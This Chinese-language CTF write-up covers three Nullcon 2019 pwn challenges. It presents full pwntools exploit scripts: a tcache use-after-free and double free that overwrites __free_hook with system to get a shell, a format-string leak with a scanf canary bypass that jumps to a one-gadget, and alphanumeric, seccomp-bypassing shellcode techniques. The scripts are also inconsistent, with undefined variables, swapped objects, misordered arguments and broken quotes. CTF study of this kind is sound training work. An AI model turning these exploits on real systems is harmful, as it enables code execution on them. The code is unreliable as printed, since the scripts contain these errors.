Nullcon2019-pwn詳解
題目還是比較有難度和借鑑意義的,可以開拓師傅的思路,大佬勿噴
shop
這道題剛開始 leak libc
的時候忽略了libc是2.27,虧沈師傅還能用mollac_hook在本地打通。。。
題目分析
沒有開pie,可喜可賀可喜可賀。
和標準的堆題相比,少了edit功能,也就是說必須在add時構造好堆。
看看add函式
可以總結出其結構體
name{ idx; *name_chunk; cp_stmt; #這是程式內的一段字串,可以修改 }
再看看delete函式
that’s good! use after free!看來這道題不是很難了。
同理的view函式
仔細看可以發現一個格式化字串漏洞,但我覺得這是一個非預期解,故這裡還是用傳統的堆利用解題。師傅們有興趣可以對該漏洞進行深入利用。
漏洞利用
第一步,結合name結構題和uaf,控制name->name_chunk
my_add(0x50,"aaaa") my_add(0x50,"bbbb") my_add(0x50,"cccc") #num=3 用於防止與top_chunk合併 delete(0) # num=2 delete(1) # num=1 # 這時的tcache中為 size=0x40 size=0x60 size=0x40 size=0x60 payload=p64(0)+p64(e.got["free"]) my_add(0x38,payload) # 獲得了兩個size=0x40的chunk,並且把name->*name_chunk改為free_got
第二步,我們再利用view功能就能leak libc
p.recvuntil(""name": "") free_addr=p.recvuntil(""")[:-1].ljust(8,'x00') free_addr=u64(free_addr) print "free_addr->"+hex(free_addr)+"done" offset=free_addr-libc.symbols["free"]
在 https://libc.blukat.me
上查詢得到libc版本為2.27,那麼我們接下來的利用就要考慮tcache了,之前可以假裝不知道。
tcache是ubuntu18.04引入的技術,其檢查要比傳統的堆寬鬆的多,所以利用起來也比較簡單。個人認為在tcache相關的更新還沒釋出前tcache的利用應該要取代比賽中的入門堆題。
第三步,控制hook或者got表,然getshell
my_add("4", 0x50) my_add("5", 0x50) #清空tcache my_add("6", 0x68) my_add("/bin/shx00", 0x68) #7 my_add("/bin/shx00", 0x38) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) delete(6) delete(6)#厲害吧,連續兩次delete同一個chunk,程式沒有報錯 delete(8)#防止size為0x40的chunk用完 my_add(p64(offset+e.symbols["__free_hook"]), 0x68) my_add("consume", 0x68) my_add(p64(e.got["system"]+offset), 0x68) #fastbin dup的正常操作,但是tcache就是能不構造fake_chunk直接分配,簡直爽到 delete(8) #為free_hook傳入"/bin/shx00"引數,呼叫system() getshell
最後附上完整的exp
from pwn import * g_local=True context.log_level='debug' p = ELF('./challenge') e = ELF("./libc6_2.27.so") if g_local: p = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh) else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 p = remote("pwn.ctf.nullcon.net", 4002) #ONE_GADGET_OFF = 0x4557a def my_add(size,name,price=0): sleep(0.1) p.sendlineafter("> ","1") p.sendlineafter("Book name length: ",str(size)) p.sendafter("Book name: ",name) p.sendlineafter("Book price: ",str(price)) def delete(idx): p.sendlineafter("> ","2") p.sendlineafter("Book index: ",str(idx)) def show(): p.sendlineafter("> ","3") my_add(0x50,"aaaa") my_add(0x50,"bbbb") my_add(0x50,"cccc") #num=3 用於防止與top_chunk合併 delete(0) # num=2 delete(1) # num=1 # 這時的tcache中為 size=0x40 size=0x60 size=0x40 size=0x60 payload=p64(0)+p64(e.got["free"]) my_add(0x38,payload) # 獲得了兩個size=0x40的chunk,並且把name->*name_chunk改為free_got p.recvuntil(""name": "") free_addr=p.recvuntil(""")[:-1].ljust(8,'x00') free_addr=u64(free_addr) print "free_addr->"+hex(free_addr)+" done" offset=free_addr-libc.symbols["free"] my_add("4", 0x50) my_add("5", 0x50) #清空tcache my_add("6", 0x68) my_add("/bin/shx00", 0x68) #7 my_add("/bin/shx00", 0x38) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) delete(6) delete(6) #厲害吧,連續兩次delete同一個chunk,程式沒有報錯 delete(8) #防止size為0x40的chunk用完 my_add(p64(offset+e.symbols["__free_hook"]), 0x68) my_add("consume", 0x68) my_add(p64(e.got["system"]+offset), 0x68) #fastbin dup的正常操作,但是tcache就是能不構造fake_chunk直接分配,簡直爽到 delete(8) #為free_hook傳入"/bin/shx00"引數,呼叫system() getshell p.interactive()
babypwn
說的babypwn如果不知道scanf的新繞過方法那也做不出來這個的題目的,如果知道那這個題目就是babypwn了。
靜態分析
首先輸入一個才能進入下面的迴圈,大概的程式就是先師傅name然後再輸入how many coins,這裡的漏洞有兩個一個是格式化字串一個是棧溢位,因為length可以自己控制輸入-1就可以進行一個棧溢位的漏洞了。但是還是不太清楚利用的方法,這裡我們往下看保護。
checksec
首先這裡又個Full RELRO所以不可能去做一些格式化字串改got表重複利用漏洞的操作,所以現在就考慮printf用來作為洩漏的操作了。接下來看一下存在canary可能需要進行一個洩漏。
動態分析
這裡我的測試輸入是
y->1->1->12
而12的16進位制數就是0xc,因為在printf(即0x4006d0)並沒有看見其他什麼可洩漏的libc函式,這裡就有一個想法就是在這裡輸入一些got表的地址然後用%s來進行指標的洩漏,所以這裡可以試試進行一個地址洩漏,來查詢libc和洩漏偏移。
這裡我的輸入是如上圖,這裡之所以要輸入0是因為int是4位的一個地址是8位不能讓後面的地址打亂了我們輸入的指標地址。接下來就是我們的效果圖了。
這裡就可以用他們洩漏出地址。這個技巧還是需要讀者不斷進行除錯然後一步一步得出來的。
problem
這裡就存在一個小問題了,這裡的printf只能利用一次,而且printf的資訊是在程式完成後進行的所以我們是不可能利用他來進行一個canary leak因為到時候就晚了。。所以這裡肯定是需要進行重複利用main函式那怎麼用尼?
scanf(“%d”,*)的時候如果“-”“+”輸入是不會破壞棧裡的內容,但是會幫助你的輸入到ret的地址。這樣就可以幫助我們繞過canary。
思路利用
有了上面的分析這裡的利用就比較簡單了
一、先利用printf進行幾個libc函式的洩漏,查出libc
二、利用scanf函式覆蓋ret為main
三、利用scanf函式覆蓋ret地址為onegadget
#!/usr/bin/env python from pwn import * context.log_level = ‘debug’ p = process(“./challenge”) a = ELF(“./challenge”) e = a.libc main = 0x400806 onegadget = 0x45216 free_got = 0x600FA8 p.sendline(‘y’) p.sendline(‘%8$s’) p.sendline(‘-1’) gdb.attach(p) p.sendline(str(free_got)) for i in range(25): p.sendline(‘+’) p.sendline(str(main)) p.sendline(str(0)) p.sendline(‘a’) p.recvuntil(“Tressure Box: “) libc_base = u64(p.recv()[:6].ljust(8, ‘x00’))-e.symbols[“free”] og = libc_base + og_offset p.sendline(‘y’) p.sendline(‘AAAA’) p.sendline(‘-1’) print hex(og) for i in range(26): p.sendline(‘+’) p.sendline(str(og&0xffffffff)) p.sendline(str((og>>32)&0xffffffff)) #因為int只能存4位數字所以需要分兩次輸入 p.sendline(‘y’) p.interactive()
Easy-shell
這個題目思路上不是很難但是在構造shellcode上就有一些難度了。
流程分析:
要求輸入並且執行輸入,所以判斷是輸入符合條件的shellcode獲取flag 限制:
- 長度在 -getpagesize() & (本地獲取此值為0x4000)內
- 要求輸入為 字母或者數字
ν 源程式檢測
ν 對 _ctype_b_loc 函式不太熟悉,使用程式碼對對應檢測做測試
-
Shellcode不可執行execve (seccomp)
ν 看到有 prctl 函式 , ida 檢視交叉引用 ,發現有一個函式呼叫了
ν 呼叫 prctl 的函式在init_array中 , 載入時呼叫
- Github上有大佬指令碼可以完成 alphanum 的encode 工具
ν 也可以考慮下 msfvenom 的 alpha encoder - Seccomp 下的獲取flag shellcode可以參考 pwnable.tw 的 orw , 此處使用shellcraft給出一個shellcode
shellc = shellcraft.amd64.linux.open(“flagx00”)
shellc += shellcraft.amd64.linux.read(“rax”, “rsp”,0x30)
shellc += shellcraft.amd64.linux.write(1 , “rsp” , 0x30)
手動版原理:
自修改shellcode
前提條件: shellcode 所在段 rwx
思路:
當前的限制是:shellcode的位元組碼只可以使用 字元或者數字組成,那麼在shellcode所在段rwx 的前提下,我們可以利用第一組受限制的shellcode執行 read(0 , &shellcode , n) (因為需要呼叫shellcode (call $xxx) , 所以&shellcode 在暫存器中 ,具體情況具體分析) , 這樣子可以讀入第二組不受字母數字限制的shellcode覆蓋第一組shellcode繼續執行
注意點
因為我們需要呼叫 read , 所以需要使用軟終端(int 0x80) 或者 快速系統呼叫(sysenter | syscall) 來對read進行呼叫
本題中推薦使用 syscall , 因為syscall 的呼叫表中 read 的呼叫號為0 , 較好獲取 (int 0x80 的呼叫表中 read 的呼叫號為 3 , 在amd64下, inc 和 dec 受限制不可使用 , 數字3較難獲取)
需要用 異或 去獲取 syscall 的 位元組碼 | (手動指令碼中使用 0x3539 ^ 0x3036 來獲得 0x050f (syscall))
函式呼叫表國際賽的題目確實很能讓人大開眼界。。認識到自己的不足學到新知識,pwn的路上,道阻且長啊!